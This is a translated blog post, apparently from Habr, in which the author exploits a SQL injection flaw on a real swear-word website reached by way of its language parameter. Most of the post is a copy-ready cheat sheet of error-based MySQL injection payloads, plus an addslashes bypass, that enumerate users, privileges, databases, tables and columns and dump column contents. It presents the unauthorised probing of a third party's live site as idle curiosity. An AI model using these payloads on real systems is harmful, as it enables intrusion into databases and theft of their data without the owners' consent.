📜 ⬆️ ⬇️

Error based MySQL injection or do not swear

A few days ago, a website was accidentally discovered with curses in different languages. Suppose its address is example.com.

On this site there is a list of languages, the curses on which were entered into the "knowledge base". The URL for access to each language was formed as follows:
example.com/index.asp?language=[lang_name]#[]

Decided to view the available languages. You never know, maybe something interesting will be found.

Who watched "Avatar", about the blue big men, remembers that the little men, avatars, spoke the language of Na'vi. English version - Na'vi. To my great surprise, in the list of languages, Na'vi was listed and I, it would not be Kommersant, decided to look curse in this language. However, I could not do this.
')
MySQL queries carefully threw an error 80040e14 into my browser. The query builder, as it turned out, stupidly inserted the value [lang_name] into the query template and he did not escape the quotation mark used in naming the language, how can that be?

An inquisitive brain will immediately find for itself a reason to test a little and will not be able to resist all kinds of tests.

Since I am not an expert in information security, as well as a person who works with SQL databases, some of the points I described were either found on the network without explanations and I can’t explain it myself, or I just picked it up by analogy.

There is a possibility that we have the opportunity to do so. error-based mysql injection using a string query parameter.

Let's start in order.

Let us first try to understand whether there is any sense in our further actions. Since we have a problem with a quotation mark, then we can break into the middle of the request and try to do something of our own.

So.
The first request, we will check the blind injection:
' and 'x'='x
Full URL:
example.com/index.asp?language=' and 'x'='x

Does not work? Horror. Let's try to contrive and replace the single quote 'with the 0xbf5c27 sign (¿\' in ASCII) in order to pass through PHP addslashes () protection.

Yes! Request passed and executed. The page of the site opened and in the list of phrases by language we see something similar to "& expr 268409241 - 2 &".

It’s too early to rejoice, since our further actions will be tightly tied to the existence of the information_schema base.

Our queries will be executed using the HEX () and CAST () functions to get rid of garbage and string formation problems. Therefore, the answers we need will be displayed in HEX and will need to be translated into ASCII. There are many great tools for this on the net, so do not worry.

Moving on.

Let's try to find out the current database.
Request:
 ' and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x7e,0x27,HEX(CAST(DATABASE() as CHAR)),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) and '1'='1 


The answer comes, it is good, we can go on. We take out a cheatsheet for this vulnerability and do everything consistently and in order:

Search current user:
 1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1 


MySQL version:
 1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(version() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1 


Current base:
 1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1 


System user:
 1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(system_user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1 


Host Name:
 1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@hostname as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1 


MySQL directory
 1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@basedir as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1 


User Base
 1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1 


Database search
Note: continue to increment n, for example: n, n + 1, n + 2, ... until you get the answer.
It is assumed that n = 0
 1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1 


 1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT n+1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1 


 1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT n+2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1 


...

Counting tables in the database:
Note: let the answer be assigned to the variable n, m = 0;
replace hex_code_of_database_name with the desired value
 1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0xhex_code_of_database_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1 


Getting the names of all tables:
Note: mn implies the result of calculating the value at m = 0, m + 1 ... n-1
replace hex_code_of_database_name with the desired value
mn replace the desired value
 1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(table_name as char)),0x27,0x7e) FROM information_schema.tables Where table_schema=0xhex_code_of_database_name limit mn,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1 


Getting the number of columns in a table:
Note: Replace hex_code_of_database_name with the desired value;
replace hex_code_of_table_name with the desired value;
Let the answer be assigned to the variable n, m = 0;
 1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1 


Getting column names in selected table
Note: mn implies the result of calculating the value at m = 0, m + 1 ... n-1
replace hex_code_of_database_name and hex_code_of_table_name with the desired value
mn replace the desired value
 1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(column_name as char)),0x27,0x7e) FROM information_schema.columns Where table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name limit mn,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1 


Getting the number of records in the selected column
Note: Replace database_name and table_name with the desired value.
 1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(*),0x27,0x7e) FROM `database_name`.table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1 


Retrieving selected column entries
Note: mn implies the result of calculating the value at m = 0, m + 1 ... n-1
replace database_name, table_name, column_name with the desired value
mn replace the desired value
 1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,Hex(cast(table_name.column_name as char)),0x27,0x7e) FROM `database_name`.table_name LIMIT mn,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1 


For obvious reasons, I will not publish the code for changing records.

As a result, I corrected the name of Na'Vi on NaVi and I was able to go in to see what was there. And there it was empty ...

Source: https://habr.com/ru/post/235287/


All Articles